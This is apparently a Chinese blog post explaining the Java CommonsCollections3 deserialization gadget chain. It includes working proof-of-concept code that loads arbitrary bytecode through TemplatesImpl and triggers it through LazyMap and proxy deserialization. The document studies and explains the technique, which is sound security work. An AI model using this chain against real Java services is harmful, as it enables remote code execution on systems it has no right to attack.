前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Java安全-反序列化-5-CC3

Java安全-反序列化-5-CC3

作者头像
Naraku
发布2022-04-26 08:23:29
4050
发布2022-04-26 08:23:29
举报
文章被收录于专栏:Naraku的专栏

CommonsCollections3

字节码

严格来说,Java字节码(ByteCode)其实仅仅指的是Java虚拟机执行使用的一类指令,通常被存储在.class文件中。

URLClassLoader加载字节码

Java的ClassLoader是用来加载字节码文件的最基础的方法

正常情况下,Java会根据配置项sun.boot.class.pathjava.class.path中列举到的基础路径(这些路径是经过处理后的java.net.URL类)来寻找.class文件来加载,而这个基础路径有三种情况:

  • URL未以/结尾,则认为是一个JAR文件,使用JarLoader来寻找类,即为在Jar包中寻找.class文件
  • URL以/结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻找.class文件
  • URL以/结尾,且协议名不是file,则使用最基础的Loader来寻找类
  • 本地编译一个Hello类,然后通过HTTP协议远程加载
代码语言:javascript
复制
package com.naraku.sec.bytecode;

import java.net.URL;
import java.net.URLClassLoader;

public class HelloClassLoader {
    public static void main(String[] args) throws Exception {
        URL[] urls = { new URL("http://localhost:9999/") };
        URLClassLoader loader = URLClassLoader.newInstance(urls);
        Class clazz = loader.loadClass("Hello");
        clazz.newInstance();
    }
}

defineClass加载字节码

不管是加载远程class文件,还是本地class或jar文件,Java都经历的是下面这三个方法调用:

ClassLoader#loadClass > ClassLoader#findClass > ClassLoader#defineClass

其中:

  • loadClass的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行findClass
  • findClass的作用是根据基础URL指定的方式来加载类的字节码,就像上一节中说到的,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交给defineClass
  • defineClass的作用是处理前面传入的字节码,将其处理成真正的Java类

所以可见,真正核心的部分其实是defineClass,它决定了如何将一段字节流转变成一个Java类,Java默认的ClassLoader#defineClass是一个native方法。

LoaderClass
  • 先把前面的Hello.java编译成Hello.class,然后将该class文件进行加载
代码语言:javascript
复制
package com.naraku.sec.bytecode;

import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;

public class LoaderClass {
  public static byte[] load(String path) {
    FileInputStream fis = null;
    ByteArrayOutputStream baos = null;
    
    try {
      fis = new FileInputStream(path);
      baos = new ByteArrayOutputStream();
      byte[] buffer = new byte[1024];
      int len = -1;
      while ((len = fis.read(buffer)) != -1) {
        baos.write(buffer, 0, len);
        baos.flush();
      }
      return baos.toByteArray();
    }
    catch (Exception e) {
      e.printStackTrace();
    }
    finally {
      if (fis != null) {
        try { fis.close(); }
        catch (Exception e) { e.printStackTrace(); }
      }
      if (baos != null) {
        try { baos.close(); }
        catch (Exception e) { e.printStackTrace(); }
      }
    }
    return null;
  }
}
加载字节码
代码语言:javascript
复制
package com.naraku.sec.bytecode;

import java.lang.reflect.Method;

public class HelloDefineClass {
  public static void main(String[] args) throws Exception {
    Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
    defineClass.setAccessible(true);
    
    byte[] code = LoaderClass.load("src/main/java/Hello.class");
    
    Class hello = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), code, 0, code.length);
    hello.newInstance();
  }
}

注意一点,在defineClass被调用的时候,类对象是不会被初始化的,只有这个对象显式地调用其构造函数,初始化代码才能被执行。

而且,即使我们将初始化代码放在类的static块中,在defineClass时也无法被直接调用到。所以,如果我们要使用defineClass在目标机器上执行任意代码,需要想办法调用构造函数

因为系统的ClassLoader#defineClass是一个保护属性,所以我们无法直接在外部访问,不得不使用反射的形式来调用。在实际场景中,因为defineClass方法作用域是不开放的,所以攻击者很少能直接利用到它

TemplatesImpl加载字节码

虽然大部分上层开发者不会直接使用到defineClass方法,但是Java底层还是有一些类用到了它,这就是TemplatesImpldefineClass是攻击链TemplatesImpl的基石。

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类定义了一个内部类TransletClassLoader。其中重写了defineClass方法,并且没有显示声明定义域,因此定义域默认为default。也就是说这里的defineClass由其父类的protected类型变成了一个default类型的方法,可以被类外部调用

代码语言:javascript
复制
static final class TransletClassLoader extends ClassLoader {
  private final Map<String,Class> _loadedExternalExtensionFunctions;
  
  TransletClassLoader(ClassLoader parent) {
    super(parent);
    _loadedExternalExtensionFunctions = null;
  }
  
  TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
    super(parent);
    _loadedExternalExtensionFunctions = mapEF;
  }
  
  public Class<?> loadClass(String name) throws ClassNotFoundException {
    Class<?> ret = null;
    // The _loadedExternalExtensionFunctions will be empty when the
    // SecurityManager is not set and the FSP is turned off
    if (_loadedExternalExtensionFunctions != null) {
      ret = _loadedExternalExtensionFunctions.get(name);
    }
    if (ret == null) {
      ret = super.loadClass(name);
    }
    return ret;
  }
  
  /**
  * Access to final protected superclass member from outer class.
  */
  Class defineClass(final byte[] b) {
    return defineClass(null, b, 0, b.length);
  }
}

defineClass()这里往前追溯,调用路径为:

代码语言:javascript
复制
TemplatesImpl#getOutputProperties()
    TemplatesImpl#newTransformer()
        TemplatesImpl#getTransletInstance()
            TemplatesImpl#defineTransletClasses()
                TransletClassLoader#defineClass()

最前面两个方法TemplatesImpl#getOutputProperties()TemplatesImpl#newTransformer()作用域是public,可以被外部调用。

defineTransletClasses

TemplatesImpl#defineTransletClasses()

  • _bytecodes == null 时会抛出异常,因此需要使_bytecodes不为空
  • 然后在AccessController.doPrivileged()方法中,TransletClassLoader()需要传递参数_tfactory.getExternalExtensionsMap(),因此_tfactory也不能为空
代码语言:javascript
复制
private void defineTransletClasses()
  throws TransformerConfigurationException {
  
  if (_bytecodes == null) {
    ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
    throw new TransformerConfigurationException(err.toString());
  }
  
  TransletClassLoader loader = (TransletClassLoader)
    AccessController.doPrivileged(new PrivilegedAction() {
      public Object run() {
        return new TransletClassLoader(ObjectFactory.findClassLoader(), _tfactory.getExternalExtensionsMap());
      }
    });
  
  try {
    final int classCount = _bytecodes.length;
    _class = new Class[classCount];
    
    if (classCount > 1) {
      _auxClasses = new HashMap<>();
    }
    
    for (int i = 0; i < classCount; i++) {
      _class[i] = loader.defineClass(_bytecodes[i]);
      final Class superClass = _class[i].getSuperclass();
      
      // Check if this is the main class
      if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
        _transletIndex = i;
      }
      else {
        _auxClasses.put(_class[i].getName(), _class[i]);
      }
    }
    
    if (_transletIndex < 0) {
      ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
      throw new TransformerConfigurationException(err.toString());
    }
  }
  catch (ClassFormatError e) {
    ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
    throw new TransformerConfigurationException(err.toString());
  }
  catch (LinkageError e) {
    ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
    throw new TransformerConfigurationException(err.toString());
  }
}

try{}代码块中:

  • 首先会用loader遍历加载字节码数组并获取对应的Class对象:loader.defineClass(_bytecodes[i])
  • 然后逐个获取Class对象的父类:_class[i].getSuperclass()
  • 最后判断父类名是否为AbstractTranslet

所以这段逻辑主要做权限校验,作用是判断通过字节码加载的类是否为AbstractTranslet的子类

另外在上面的逻辑中,当父类名不为AbstractTranslet时,就会向_auxClasses传值:

_auxClasses.put(_class[i].getName(), _class[i])

而在TemplatesImpl#writeObject()方法中,当_auxClasses != null时会抛出异常,即_auxClasses不为空时不能进行序列化

代码语言:javascript
复制
private void writeObject(ObjectOutputStream os)
  throws IOException, ClassNotFoundException {
  if (_auxClasses != null) {
    //throw with the same message as when Hashtable was used for compatibility.
    throw new NotSerializableException(
      "com.sun.org.apache.xalan.internal.xsltc.runtime.Hashtable");
  }
  
  // Write serialized fields
  ObjectOutputStream.PutField pf = os.putFields();
  pf.put("_name", _name);
  pf.put("_bytecodes", _bytecodes);
  pf.put("_class", _class);
  pf.put("_transletIndex", _transletIndex);
  pf.put("_outputProperties", _outputProperties);
  pf.put("_indentNumber", _indentNumber);
  os.writeFields();
  
  if (_uriResolver instanceof Serializable) {
    os.writeBoolean(true);
    os.writeObject((Serializable) _uriResolver);
  }
  else {
    os.writeBoolean(false);
  }
}
getTransletInstance

TemplatesImpl#getTransletInstance()

  • _name == null时将返回,因此需要设置_name的值,使其不为空
  • 另外这个调用了newInstance()实例化了一个AbstractTranslet类对象,触发恶意代码(可以在静态代码块,代码块和构造代码块三个位置)
代码语言:javascript
复制
private Translet getTransletInstance()
  throws TransformerConfigurationException {
  try {
    if (_name == null) return null;
    
    if (_class == null) defineTransletClasses();
    
    // The translet needs to keep a reference to all its auxiliary
    // class to prevent the GC from collecting them
    AbstractTranslet translet = (AbstractTranslet)
      _class[_transletIndex].getConstructor().newInstance();
    translet.postInitialization();
    translet.setTemplates(this);
    translet.setOverrideDefaultParser(_overrideDefaultParser);
    translet.setAllowedProtocols(_accessExternalStylesheet);
    if (_auxClasses != null) {
      translet.setAuxiliaryClasses(_auxClasses);
    }
    
    return translet;
  }
  catch (InstantiationException | IllegalAccessException |
         NoSuchMethodException | InvocationTargetException e) {
    ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
    throw new TransformerConfigurationException(err.toString(), e);
  }
}
构造字节码

根据前面的分析,加载的字节码需要继承自AbstractTranslet

  • 编写一个HelloTemplatesImpl类并继承自AbstractTranslet,快捷键Option+回车并选择Implement methods,最后再实现其它代码
代码语言:javascript
复制
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class HelloTemplatesImpl extends AbstractTranslet {
  static {
    System.out.println("Static");
  }
  
  {
    System.out.println("Code");
  }
  
  public HelloTemplatesImpl() {
    super();
    System.out.println("Constructor");
  }
  
  @Override
  public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
  
  @Override
  public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
  
}
构造POC

尝试用newTransformer()构造一个简单的POC,需要注意以下几点

根据前面的分析,构造的POC需要设置_name/_bytecodes/_tfactory三个属性,使其不为空。但是应该设置什么值呢?其实可以通过TemplatesImpl类中的注释知道这几个属性的类型和作用:

  • _name为Class对象名,类型为String
  • _bytecodes为字节码,类型为byte[][]
  • _tfactory类型为TransformerFactoryImpl
  • POC代码如下:
代码语言:javascript
复制
package com.naraku.sec.bytecode;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;

public class HelloTempLoader {
  
  public static void main(String[] args) throws Exception {
    // 加载字节码
    byte[] code = LoaderClass.load("src/main/java/HelloTemplatesImpl.class");
    
    TemplatesImpl temp = new TemplatesImpl();
    
    // 设置属性
    Field name = temp.getClass().getDeclaredField("_name");
    name.setAccessible(true);
    name.set(temp, "HelloTemplatesImpl");
    
    Field bytecode = temp.getClass().getDeclaredField("_bytecodes");
    bytecode.setAccessible(true);
    bytecode.set(temp, new byte[][]{code});
    
    Field tfactory = temp.getClass().getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(temp, new TransformerFactoryImpl());
    
    temp.newTransformer();
    
  }
}

TemplatesImpl到CC3

  • 这里创建一个CommonCollections3类,利用TransformerTransformedMap触发
代码语言:javascript
复制
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections3 {
  public static void main(String[] args) throws Exception{
    // 加载字节码
    byte[] code = LoaderClass.load("src/main/java/HelloTemplatesImpl.class");
    
    TemplatesImpl temp = new TemplatesImpl();
    
    // 设置属性
    Field name = temp.getClass().getDeclaredField("_name");
    name.setAccessible(true);
    name.set(temp, "HelloTemplatesImpl");
    
    Field bytecode = temp.getClass().getDeclaredField("_bytecodes");
    bytecode.setAccessible(true);
    bytecode.set(temp, new byte[][]{code});
    
    Field tfactory = temp.getClass().getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(temp, new TransformerFactoryImpl());
    
    // temp.newTransformer();
    
    Transformer[] transformers = new Transformer[] {
      new ConstantTransformer(temp),
      new InvokerTransformer("newTransformer", null, null)
      };
    Transformer transformerChain = new ChainedTransformer(transformers);
    
    Map innerMap = new HashMap();
    Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
    outerMap.put("test", "xxxx");
  }
}

CC3

将ysoserial工具中的CommonCollections3与CommonCollections1进行对比,发现多了三个新的类:TemplatesImplInstantiateTransformerTrAXFilter

InstantiateTransformer

InstantiateTransformer:通过反射创建新对象实例

TrAXFilter

TrAXFilter:实例化时构造函数会调用TransformerImplnewTransformer方法,这也就免去了通过手工调用InvokerTransformer.newTransformer() ⽅法这⼀步

为何CC3不用InvokerTransformer: 当反序列化ysoserial工具出现后,有攻就有防,SerialKiller⼯具随之诞⽣。 SerialKiller是⼀个Java反序列化过滤器,可以通过⿊⽩名单的⽅式来限制反序列化时允许通过的类,在其第⼀个版本中,InvokerTransformer赫然在列,也就切断了CommonsCollections1的利⽤链。 ysoserial随后增加了不少新的Gadgets,其中就包括CommonsCollections3。

构造POC

  • 模仿CC1,通过LazyMapProxy触发漏洞,需Java 8u71以下
代码语言:javascript
复制
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections3 {
  public static void main(String[] args) throws Exception{
    // 加载字节码
    byte[] code = LoaderClass.load("src/main/java/HelloTemplatesImpl.class");
    
    TemplatesImpl temp = new TemplatesImpl();
    
    // 设置属性
    Field name = temp.getClass().getDeclaredField("_name");
    name.setAccessible(true);
    name.set(temp, "HelloTemplatesImpl");
    
    Field bytecode = temp.getClass().getDeclaredField("_bytecodes");
    bytecode.setAccessible(true);
    bytecode.set(temp, new byte[][]{code});
    
    Field tfactory = temp.getClass().getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(temp, new TransformerFactoryImpl());
    
    // temp.newTransformer();
    
    Transformer[] transformers = new Transformer[] {
      new ConstantTransformer(temp),
      new InvokerTransformer("newTransformer", null, null)
      };
    Transformer transformerChain = new ChainedTransformer(transformers);
    
    Map innerMap = new HashMap();
    
    // 直接触发
    // Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
    // outerMap.put("test", "xxx");
    
    // LazyMap+Proxy触发
    Map outerMap = LazyMap.decorate(innerMap, transformerChain);
    
    // 获取AnnotationInvocationHandler的构造函数
    Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
    constructor.setAccessible(true);
    
    // 利用构造函数实例化,创建与outerMap关联的InvocationHandler
    InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);
    
    // 实例化代理对象
    Map proxyMap = (Map) Proxy.newProxyInstance(
      Map.class.getClassLoader(),
      new Class[] {Map.class},
      handler
    );
    
    // 使用InvocationHandler对proxyMap重新包裹
    handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);
    
    // Serialization
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(baos);
    oos.writeObject(handler);
    // System.out.println(baos);
    
    // Deserialization
    ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
    ObjectInputStream ois = new ObjectInputStream(bais);
    ois.readObject();
    
    ois.close();
    bais.close();
    oos.close();
    baos.close();
  }
}

版权属于:Naraku

本文链接:https://cloud.tencent.com/developer/article/1987781

本站所有原创文章均采用 知识共享署名-非商业-禁止演绎4.0国际许可证 。如需转载请务必注明出处并保留原文链接,谢谢~

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022 年 04 月,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • CommonsCollections3
    • 字节码
      • URLClassLoader加载字节码
      • defineClass加载字节码
      • TemplatesImpl加载字节码
    • TemplatesImpl到CC3
      • CC3
        • InstantiateTransformer
        • TrAXFilter
        • 构造POC
    相关产品与服务
    文件存储
    文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档